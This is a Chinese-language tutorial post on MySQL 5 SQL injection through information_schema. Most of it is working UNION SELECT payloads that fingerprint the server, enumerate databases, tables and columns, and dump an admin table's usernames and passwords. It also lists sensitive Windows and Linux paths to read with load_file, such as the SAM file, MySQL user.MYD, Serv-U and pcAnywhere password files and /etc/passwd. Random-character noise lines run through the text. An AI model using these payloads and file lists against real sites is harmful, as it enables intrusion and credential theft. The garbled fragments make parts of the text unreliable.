mysql5.0注入原理

admin

记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。
# t/ p& ^6 s7 Y7 \- A' B
& V! h9 x/ W! z6 B$ i  B" Q2 _7 i% g

Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其
中记录了Mysql中所有
5 ?; ]. Z5 h# g* d存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
明。
" a# Q4 q( O0 X, E4 ]1.得到所有数据库名：
( Q$ z0 q5 T# O; ?8 d* k|SCHEMATA ->存储数据库名的表
|—字段：SCHEMA_NAME ->数据库名称
0 F( ]% p# P( H& z) G  P+ n
4 b+ z# f% D/ |1 E$ R$ T0 _|TABLES ->存储表名
|—字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
' Q* r& X* Q; E) ^/ K|—字段：TABLE_NAME ->存储表的表名
- }* X: q+ Z. n+ p8 l& R
* k' q$ f* Z: S$ [* o& S# g3 v|COLUMNS ->存储的字段名表
/ U0 @) I) S, d# C- I2 |6 N|—字段：TABLE_SCHEMA ->该字段所属数据库名
|—字段：TABLE_NAME ->存储所属表的名称

|—字段：COLUMN_NAME ->该字段的名称

#########################################################################
##

/ n- o* e3 Y2 Y0×001 获取系统信息:
  w& r9 j4 C% G6 z
union select 1,2,3,4,5,concat
0 P# R! e4 s2 b( M9 c) h; ^/ v(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
3 j  q: E- S2 ?) M' ~(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

7 I" Q/ ]; ^# K% ^: S4 V! _# N/*

  E' Q, N4 b6 }) |5 _& g9 c. Z@@global.version_compile_os 获取系统版本
  F  \- [4 d8 [) W$ T
& S( b# h- y' l' ^& p$ }@@datadir 数据库路径
database() 当前数据库名称
0x3c62723e 换行HEX值

*/

! j( P; I7 R; [3 `7 m  E9 r######################################################################
/ k% q! o& F7 c$ h$ I/ H5 o
7 O( m7 H( N, L+ {" L9 P( A0×002 获取表名

union select 1,2,group_concat(table_name),4,5,6,7,8,9 from
information_schema.tables where table_schema=0x67617264656e /*

. ?2 ]  i- B$ [* ?, _: v6 B# u/*
: i3 \* G0 p3 f4 U# s, }3 v
0x67617264656e 为当前数据库名

  c" W$ z$ j( u3 m( i; }group_concat(table_name) 使用group_concat函数 一步获得该库所有表名

- c; Y8 }; |6 @  ^- [  r*/

######################################################################

0×003 获取字段

union select 1,2,group_concat(column_name),4,5,6,7,8,9 from
information_schema.columns where table_name=0x61646d696e and
+ e4 f1 g. F" |1 I& Z7 h! {

) L* r% j2 k0 Q  Z3 {$ Utable_schema=0x67617264656e limit 1 /*
3 k: S9 t; ^; x6 i
/*

* t. @$ M6 Z/ V3 \- ]" o0 Sgroup_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段

0x61646d696e ->选择一个表
$ I1 [9 Q* i& h1 R4 ~
! r* c+ K7 Z* M2 C0x67617264656e ->数据库名

8 R* r( N* N" z5 g4 |*/

#####################################################################

0×004 获取数据
2 y4 X) W% A4 E: G) m$ g
union select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
0 U5 r# [* F  \
union select 1,group_concat(id),group_concat(adname),4,5,group_concat
(adpassword),6,7,8 from admin

/*

0x3c62723e 换行符号HEX编码
5 W; Z: |( D7 j- S/ q* x% O- O/ [6 Y
group_concat 同时获得该字段所有数据

( S; p3 R2 V9 n' [3 D' Y- D* y*/
3 p! S( x$ X& t



+ ?& s  N. P* g: w
# A' }( S/ X9 P# G顺便添加一些mysql注入时非常有用的一些东西

( u2 r! r0 k! r; k& \简单介绍Mysql注入中用到的一些函数的作用，利用它们可以判断当前用户权限（Root为最高，相当于MSSQL中的SA）、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。
1 Y% }/ |6 }/ u& u: s  @
1:system_user() 系统用户名
2:user()        用户名
3:current_user()  当前用户名
3 j6 r! t) I. s  ?. \' b- A. _% P9 A0 c( Q4:session_user()连接数据库的用户名
5:database()    数据库名
) T5 W$ I4 S1 g7 z/ p! X& S# B6:version()     MYSQL数据库版本
4 [4 y& B  X- a! F5 S! X, l7 |7:load_file()   MYSQL读取本地文件的函数
8@datadir     读取数据库路径
( l% `6 L' V- Q0 u/ o9@basedir    MYSQL 安装路径
10@version_compile_os   操作系统  Windows Server 2003,
  R3 Z) V, l% I$ Q3 B收集的一些路径：
) x1 e* j% C& G7 C$ N: Z3 KWINDOWS下:
3 e. T8 h. P8 Y3 oc:/boot.ini          //查看系统版本
c:/windows/php.ini   //php配置信息
' K# N3 z0 t/ ]! @' D7 J) @0 rc:/windows/my.ini    //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码
  y* W# @7 o( b/ r# y4 \8 Cc:/winnt/php.ini
c:/winnt/my.ini
0 B' E0 c/ _0 o; l+ ?) {3 \' gc:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码
- g& ~- M  Y- mc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
4 d, H( ?/ J7 v; \6 s2 z) Oc:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
c:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
( l* }. O) |/ e6 p( j/ bC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
& h0 }5 n" v! z) j+ a2 S" |" g/ v; s//存储了pcAnywhere的登陆密码
. [' ^+ N- o, F2 q: Mc:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.
$ ?5 ?  `, N# J9 c; R2 ]

" ?1 v7 |$ S1 \8 Y- Ec:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
4 _! l+ x6 p9 \5 C# I. w/ W5 J( z$ ac:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
8 n( }* L& E6 z! f9 e
LUNIX/UNIX下:
) ]/ ~$ B" i2 ?/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
6 m- l' A7 ^6 V1 A. N/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
$ E3 i" n; _) O3 S/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
; L# k2 Y7 @$ o: k/etc/redhat-release //系统版本
/etc/issue
' S( G( J8 F/ T/ [8 ^/etc/issue.net
5 c+ J! G' j, B! y/usr/local/app/php5/lib/php.ini //PHP相关设置
" l0 K7 X( a0 R6 _3 [/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
' r% V6 J7 ~0 r. {% ^/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
  G: y+ R  A9 f9 b$ x9 m5 e/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
( k3 c/ b- q7 r8 z9 f' `1 O$ ~/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
. N+ M% D( N7 B9 ^/ g/etc/sysconfig/iptables 查看防火墙策略
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
replace(load_file(0x2F6574632F706173737764),0x3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.